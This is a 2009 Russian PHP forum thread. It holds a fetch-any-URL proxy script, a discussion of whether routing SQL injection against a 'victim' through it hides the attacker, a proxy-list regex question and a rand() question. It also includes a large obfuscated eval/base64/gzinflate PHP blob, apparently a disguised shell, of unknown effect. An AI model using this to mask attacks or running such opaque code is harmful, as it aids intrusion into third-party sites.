у меня такой вопросик есть) давно об етом думал но сегодня появилось немного времени решил испытать такой скрипт. очень простенький который через file_get_contents тянет странички. конешно у меня быдлосрипт но времени мало)

<html>
<head>
<title>Получить Страницу</title>
</head>
<body>
<center>
<form method="post">
<br>
<?php
$url = $_POST['url'];
$gets = file_get_contents($url);
echo '<input type="text" name="url" value="'.$url.'"><br>
<input type="submit" value="Обработать">
<br><br><br><br>
</center>';
echo $gets;
?>
</body>
</html>

Я его залил на хостинг зашел на 2ир.ру пишит ип хостинга(как и ожидалось) мой ип вроде негоде не фигурирует (кроме как в логах хостинга).вот в чем собственно вопрос. если я буду через етот срипт, который лежит на хостинге. крутить скуль будет ли палится реферер или еще чтото что? анпример скрипт лежит на сайт.ру будет ли етот сайт фигурировать в логах жертвы? надеюсь все правильно сформулировал. хотя можно залить скрипт на какойто фришний хост и крутить скулю) можно даже через прокси на скрипт заходить или с комп клуба)))

п.с сорри может несу какойто бред. просто уже засыпаю потихоньку :o

dr.Web
24.08.2009, 04:53
$proxy=file("array.txt");
$prox=preg_grep("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/",$proxy);
foreach($prox as $pro) echo $pro."<br />";
в чём проблема? выводит пустоту
в файл сую текст примерно такого содержания

[33/263/263] 125.245.211.2:8080 level=3(Transparent Proxy(L3)) time used:1s from KOREA, REPUBLIC OF.
[34/263/263] 218.61.35.64:80 level=3(Transparent Proxy(L3)) time used:1s from CHINA.
[35/263/263] 67.69.254.246:80 level=3(Transparent Proxy(L3)) time used:1s from CANADA.
[36/263/263] 209.235.218.83:80 level=3(Transparent Proxy(L3)) time used:0s from UNITED STATES.
[37/263/263] 64.39.150.252:80 level=2(Anonymous Proxy(L2)) time used:1s from UNITED STATES.
[38/263/263] 202.101.8.184:80 level=3(Transparent Proxy(L3)) time used:0s from CHINA.
[39/263/263] 89.31.143.3:80 level=3(Transparent Proxy(L3)) time used:1s from GERMANY.
[40/263/263] 148.233.159.58:8080 level=3(Transparent Proxy(L3)) time used:1s from MEXICO.
[41/263/263] 81.211.120.242:3128 level=3(Transparent Proxy(L3)) time used:1s from RUSSIAN FEDERATION.
[42/263/263] 69.90.107.184:80 level=3(Transparent Proxy(L3)) time used:0s from CANADA.
[43/263/263] 128.238.88.64:3128 level=1(High Anonymous(Elite)(L1)) time used:1s from UNITED STATES.

PaCo
24.08.2009, 06:09
^ - декларирует строго начало данных
$ - декларирует строго конец данных

у тебя же в строке между началом IP и его концом содержаться символы, которые не отвечают патерну.
Если нужно вытащить IP проксиков без всего остального наверно будет разумней использовать preg_match_all, в полезных скриптах уже вылаживали такой скрипт так что -> поиск.

scrat
24.08.2009, 06:18
ребят, тут вот есть соседняя тема, для вопросов по регулярным выражениям, вы бы там лучше спросили.

Gifts
24.08.2009, 09:12
zifanchuck если я буду через етот срипт, который лежит на хостинге. крутить скуль будет ли палится реферер или еще чтото что?нет не будетанпример скрипт лежит на сайт.ру будет ли етот сайт фигурировать в логах жертвы? нет, только ИП хостинга

Однако, при наличии картинок/JS с абсолютными путями внутри получаемых страниц - к ним будешь обращаться ты сам, а не скрипт, что спалит и тебя и имя хоста, с которого ты "крутишь скуль"

REBUUS
24.08.2009, 17:45
не знаю там ли я пишу , как мне расшифровать что тут написано

eval(gzinflate(str_rot13(base64_decode('FZhUDsTGEV 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'))));

geforse
24.08.2009, 18:22
<?php
for ($i = 0; $i <= 2; $i++)
{

echo $one = rand(0,3);
echo '<br>';
echo $two = rand(0,3);
}
?>


Выдаёт:

3
02
21
2


Как в цикле сделать нормальную "рандомизацию" двух переменных ?

159932
24.08.2009, 18:33
что за бред .. выводится рендом, и идёт присвоение ...
слабо написать просто эхо рендом(0,3) ?

Joker-jar
24.08.2009, 18:34
for ($i = 0; $i <= 2; $i++)
{

echo rand(0,3);
echo '<br>';
echo rand(0,3);
echo '<br>';
}

rushter
24.08.2009, 18:42
не знаю там ли я пишу , как мне расшифровать что тут написано

eval(gzinflate(str_rot13(base64_decode('FZhUDsTGEV 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 